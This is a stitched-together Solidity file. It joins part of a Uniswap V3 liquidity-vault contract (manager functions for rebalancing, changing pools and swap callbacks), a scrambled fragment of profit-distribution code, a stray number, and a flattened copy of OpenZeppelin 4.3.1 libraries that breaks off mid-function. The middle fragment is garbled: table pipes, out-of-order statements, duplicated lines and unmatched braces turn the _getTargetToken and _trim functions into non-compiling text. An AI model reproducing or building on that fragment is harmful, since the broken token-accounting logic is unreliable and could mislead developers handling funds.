if (performanceFee != _performanceFee) {performanceFee = _performanceFee;}
if (diffTick != _diffTick) {diffTick = _diffTick;}
if (safetyParam != _safetyParam) {safetyParam = _safetyParam;}
}
/// @inheritdoc IVaultOperatorActionsV3
function changeMaxShare(
uint256 _maxShare0,
uint256 _maxShare1,
uint256 _maxSingeDepositAmt0,
uint256 _maxSingeDepositAmt1
) external override onlyManager {
MaxShares memory _maxShares = maxShares;
if (_maxShare0 != _maxShares.maxToken0Amt) {_maxShares.maxToken0Amt = _maxShare0;}
if (_maxShare1 != _maxShares.maxToken1Amt) {_maxShares.maxToken1Amt = _maxShare1;}
if (_maxSingeDepositAmt0 != _maxShares.maxSingeDepositAmt0) {_maxShares.maxSingeDepositAmt0 = _maxSingeDepositAmt0;}
if (_maxSingeDepositAmt1 != _maxShares.maxSingeDepositAmt1) {_maxShares.maxSingeDepositAmt1 = _maxSingeDepositAmt1;}
maxShares = _maxShares;
}
/// @inheritdoc IVaultOperatorActionsV3
function avoidRisk(uint8 _profitScale) external override onlyManager {
if (position.status) {
_stopAll();
position.status = false;
}
_changeProfitScale(_profitScale);
}
/// @inheritdoc IVaultOperatorActionsV3
function changePool(
address newPoolAddress,
int24 _lowerTick,
int24 _upperTick,
int24 _spotTick, // the tick when decide to send the transaction
uint8 _profitScale
) external override onlyManager {
// Check
require(poolMap[newPoolAddress], 'Add Pool First!');
// read in memory
PositionHelperV3.Position memory pos = position;
// check attack
pos.checkDiffTick(_spotTick, diffTick);
require(pos.status && pos.poolAddress != newPoolAddress, "CAN NOT CHANGE POOL!");
// stop current pool & change profit config
_stopAll();
pos.status = false;
_changeProfitScale(_profitScale);
// new pool info
int24 tickSpacing = IUniswapV3Pool(newPoolAddress).tickSpacing();
(_lowerTick, _upperTick) = tickRegulate(_lowerTick, _upperTick, tickSpacing);
pos.principal0 = 0;
pos.principal1 = 0;
pos.poolAddress = newPoolAddress;
pos.tickSpacing = tickSpacing;
pos.upperTick = _upperTick;
pos.lowerTick = _lowerTick;
// add liquidity
_addAll(pos);
}
/// @inheritdoc IVaultOperatorActionsV3
function forceReBalance(
int24 _lowerTick,
int24 _upperTick,
int24 _spotTick,
uint8 _profitScale
) public override onlyManager{
// read in memory
PositionHelperV3.Position memory pos = position;
// Check Status
(_lowerTick, _upperTick) = tickRegulate(_lowerTick, _upperTick, pos.tickSpacing);
if (pos.lowerTick == _lowerTick && pos.upperTick == _upperTick) {
return;
}
pos.checkDiffTick(_spotTick, diffTick);
// stopAll & change profit config
if (pos.status) {
_stopAll();
pos.status = false;
}
_changeProfitScale(_profitScale);
// new pool info
pos.principal0 = 0;
pos.principal1 = 0;
pos.upperTick = _upperTick;
pos.lowerTick = _lowerTick;
// add liquidity
_addAll(pos);
}
/// @inheritdoc IVaultOperatorActionsV3
function reBalance(
int24 reBalanceThreshold,
int24 band,
int24 _spotTick,
uint8 _profitScale
) external override onlyManager {
require(band > 0 && reBalanceThreshold > 0, "Bad params!");
(bool status, int24 lowerTick, int24 upperTick) = position._getReBalanceTicks(reBalanceThreshold, band);
if (status) {
forceReBalance(lowerTick, upperTick, _spotTick, _profitScale);
}
}
/* ========== CALL BACK ========== */
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata
) external override {
require(amount0Delta > 0 || amount1Delta > 0, 'Zero');
require(swapPool == msg.sender, "wrong address");
if (amount0Delta > 0) {
token0.transfer(msg.sender, uint256(amount0Delta));
}
if (amount1Delta > 0) {
token1.transfer(msg.sender, uint256(amount1Delta));
}
}
function uniswapV3MintCallback(
uint256 amount0,
uint256 amount1,
bytes calldata
) external override {
require(poolMap[msg.sender], "wrong address");
// transfer
if (amount0 > 0) {token0.safeTransfer(msg.sender, amount0);}
if (amount1 > 0) {token1.safeTransfer(msg.sender, amount1);}
}
}
|
Profit Distribution Based on Param | Return target Amount after distribution For safe when deposit
|
) internal view returns (uint256 target0, uint256 target1){
uint256 start_nv = netValueToken1(start0, start1, priceX96);
uint256 end_nv = netValueToken1(end0, end1, priceX96);
uint256 rate = end_nv.mul(1e5).div(start_nv);
function _trim(
uint256 stop0,
uint256 stop1,
uint128 liq,
bool withdrawZero
}
int256 amt;
bool zeroForOne;
}
}
}
function _getTargetToken(
uint256 start0,
uint256 start1,
uint256 end0,
uint256 end1,
uint256 priceX96,
bool forDeposit
if (forDeposit && rate < safetyParam) {
rate = safetyParam;
}
if (rate > 1e5 && profitScale != 100) {
rate = rate.sub(1e5).mul(profitScale).div(1e2).add(1e5);
target0 = FullMath.mulDiv(start0, rate, 1e5);
target1 = end_nv.sub(FullMath.mulDiv(target0, priceX96, FixedPoint96.Q96));
target0 = FullMath.mulDiv(start0, rate, 1e5);
target1 = FullMath.mulDiv(start1, rate, 1e5);
}
} else {
}
| 1,246,546
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/Context
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/ECDSA
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/EnumerableSet
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/IAccessControl
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/Strings
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// Part: uniswap/uniswap-lib@2.1.0/TransferHelper
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/ERC165
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/IAccessControlEnumerable
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/AccessControl
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
